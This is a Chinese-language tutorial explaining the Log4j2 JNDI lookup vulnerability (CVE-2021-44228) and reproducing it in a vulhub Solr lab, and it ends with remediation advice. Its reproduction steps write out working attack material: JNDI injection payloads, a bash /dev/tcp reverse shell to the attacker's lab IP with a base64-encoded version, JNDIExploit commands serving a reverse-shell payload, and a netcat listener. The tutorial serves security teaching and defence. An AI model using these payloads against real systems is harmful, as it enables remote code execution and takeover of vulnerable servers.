log4j2原理分析及漏洞复现- CVE-2021-44228
字数 1648 2025-08-10 08:28:21

Log4j2漏洞原理分析与复现教学文档

1. Log4j2简介

Log4j2是Java应用程序的日志记录框架,是Log4j的升级版本,在性能、可靠性和灵活性方面有显著改进。

主要特点

  • 高性能:使用异步日志记录机制,高负载下仍保持出色性能
  • 灵活配置:支持XML、JSON或YAML格式配置文件
  • 多种输出目标:控制台、文件、数据库、远程套接字、JMS、Apache Flume等
  • 过滤器和路由:可根据级别、源、线程等条件过滤和路由日志
  • 插件架构:按需加载各种附加组件和扩展功能
  • 上下文容器:ThreadContext和ContextMap用于多线程环境日志跟踪

使用Log4j2的常见系统

  • Apache系列:Tomcat、Kafka、ActiveMQ、Solr、Druid等
  • 大数据框架:Hadoop、Spark、Flink、Storm
  • 开发框架:Spring、Hibernate、Camel
  • 企业应用:Alfresco、JIRA、Jenkins、SonarQube等

2. CVE-2021-44228漏洞详解

漏洞基本信息

  • 漏洞类型:远程代码执行(RCE)
  • 影响版本:2.0 <= Apache log4j2 <= 2.14.1
  • 报告时间:2021年11月24日由阿里云安全团队报告

漏洞原理

Log4j2提供的lookup功能中的Jndi Lookup模块存在问题,允许通过特定协议请求远程资源。当开发者未对用户输入进行过滤时,攻击者可构造恶意请求触发远程代码执行。

关键机制分析

  1. Lookup功能:动态获取和替换日志记录中的变量值

    • 常见Lookup类型:
      • ${date:MM-dd-yyyy}:日期
      • ${sys:user.dir}:系统属性
      • ${env:JAVA_HOME}:环境变量
      • ${jndi:ldap://xxx}:JNDI查找
  2. JNDI解析器

    • 通过JDK获取JNDI对象并替换原文本
    • 支持的schema:corbname、dns、iiop、iiopname、ldap、ldaps、rmi
    • 工作机制:从指定URL下载字节流并反序列化为Java对象执行
  3. 攻击入口

    • Web服务通常记录用户输入(如访问URL、参数等)
    • 攻击者可在输入中插入恶意JNDI查找表达式

相关技术概念

  • JNDI(Java命名和目录接口):提供目录系统,将服务名称与对象关联
  • LDAP(轻型目录访问协议):分布式目录信息访问协议
  • RMI(远程方法调用):Java虚拟机间的对象方法调用机制

3. 漏洞复现指南

环境准备

  • 靶机:Kali (192.168.100.134)运行vulhub/log4j/CVE-2021-44228
  • 攻击机:Windows 10 (192.168.100.143)
  • 工具:
    • 新版:JNDIExploit (v1.4)
    • 旧版:JNDI-Injection-Exploit (v1.0)

复现步骤

1. DNS回显验证

/solr/admin/cores?action=${jndi:ldap://vbdpkn.ceye.io}

检查DNSlog平台是否收到请求

2. 获取Java版本信息

${jndi:ldap://${sys:java.version}.vbdpkn.ceye.io}
${jndi:rmi://${sys:java.version}.vbdpkn.ceye.io}

3. 准备反弹Shell命令

原始命令:

bash -i >& /dev/tcp/192.168.100.143/8888 0>&1

Base64编码后:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xNDMvODg4OCAwPiYx

4. 使用JNDIExploit工具

旧版工具命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xNDMvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.100.143"

新版工具使用:

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.100.1

选择LDAP服务构造Payload:

ldap://192.168.100.1:1389/Basic/ReverseShell/192.168.100.1/8888

5. 开启监听

nc -lvvp 8888

6. 触发漏洞

访问URL:

http://192.168.100.134:8983/solr/admin/cores?action=${jndi:ldap://192.168.100.143:1389/isimox}

4. 漏洞修复方案

  1. 升级Log4j2:更新至安全版本(rc2或更高)
  2. 网络防护
    • 配置防火墙策略,禁止主动外连
    • 限制LDAP/RMI服务访问
  3. 应用加固
    • 过滤日志中的关键词(如${jndi://*})
    • 限制JNDI可使用的协议
    • 限制可通过LDAP访问的服务器和类
  4. 组件更新:升级所有受影响的应用及组件

5. 总结

Log4j2漏洞(CVE-2021-44228)是一个影响广泛的远程代码执行漏洞,其核心问题在于JNDI查找功能的不安全实现。通过深入理解其原理和复现过程,安全人员可以更好地防御此类漏洞,开发者也能在编码时避免类似安全问题。

Log4j2漏洞原理分析与复现教学文档 1. Log4j2简介 Log4j2是Java应用程序的日志记录框架,是Log4j的升级版本,在性能、可靠性和灵活性方面有显著改进。 主要特点 高性能 :使用异步日志记录机制,高负载下仍保持出色性能 灵活配置 :支持XML、JSON或YAML格式配置文件 多种输出目标 :控制台、文件、数据库、远程套接字、JMS、Apache Flume等 过滤器和路由 :可根据级别、源、线程等条件过滤和路由日志 插件架构 :按需加载各种附加组件和扩展功能 上下文容器 :ThreadContext和ContextMap用于多线程环境日志跟踪 使用Log4j2的常见系统 Apache系列:Tomcat、Kafka、ActiveMQ、Solr、Druid等 大数据框架:Hadoop、Spark、Flink、Storm 开发框架:Spring、Hibernate、Camel 企业应用:Alfresco、JIRA、Jenkins、SonarQube等 2. CVE-2021-44228漏洞详解 漏洞基本信息 漏洞类型:远程代码执行(RCE) 影响版本:2.0 <= Apache log4j2 <= 2.14.1 报告时间:2021年11月24日由阿里云安全团队报告 漏洞原理 Log4j2提供的lookup功能中的Jndi Lookup模块存在问题,允许通过特定协议请求远程资源。当开发者未对用户输入进行过滤时,攻击者可构造恶意请求触发远程代码执行。 关键机制分析 Lookup功能 :动态获取和替换日志记录中的变量值 常见Lookup类型: ${date:MM-dd-yyyy} :日期 ${sys:user.dir} :系统属性 ${env:JAVA_HOME} :环境变量 ${jndi:ldap://xxx} :JNDI查找 JNDI解析器 : 通过JDK获取JNDI对象并替换原文本 支持的schema:corbname、dns、iiop、iiopname、ldap、ldaps、rmi 工作机制:从指定URL下载字节流并反序列化为Java对象执行 攻击入口 : Web服务通常记录用户输入(如访问URL、参数等) 攻击者可在输入中插入恶意JNDI查找表达式 相关技术概念 JNDI(Java命名和目录接口) :提供目录系统,将服务名称与对象关联 LDAP(轻型目录访问协议) :分布式目录信息访问协议 RMI(远程方法调用) :Java虚拟机间的对象方法调用机制 3. 漏洞复现指南 环境准备 靶机:Kali (192.168.100.134)运行vulhub/log4j/CVE-2021-44228 攻击机:Windows 10 (192.168.100.143) 工具: 新版:JNDIExploit (v1.4) 旧版:JNDI-Injection-Exploit (v1.0) 复现步骤 1. DNS回显验证 检查DNSlog平台是否收到请求 2. 获取Java版本信息 3. 准备反弹Shell命令 原始命令: Base64编码后: 4. 使用JNDIExploit工具 旧版工具命令: 新版工具使用: 选择LDAP服务构造Payload: 5. 开启监听 6. 触发漏洞 访问URL: 4. 漏洞修复方案 升级Log4j2 :更新至安全版本(rc2或更高) 网络防护 : 配置防火墙策略,禁止主动外连 限制LDAP/RMI服务访问 应用加固 : 过滤日志中的关键词(如 ${jndi://*} ) 限制JNDI可使用的协议 限制可通过LDAP访问的服务器和类 组件更新 :升级所有受影响的应用及组件 5. 总结 Log4j2漏洞(CVE-2021-44228)是一个影响广泛的远程代码执行漏洞,其核心问题在于JNDI查找功能的不安全实现。通过深入理解其原理和复现过程,安全人员可以更好地防御此类漏洞,开发者也能在编码时避免类似安全问题。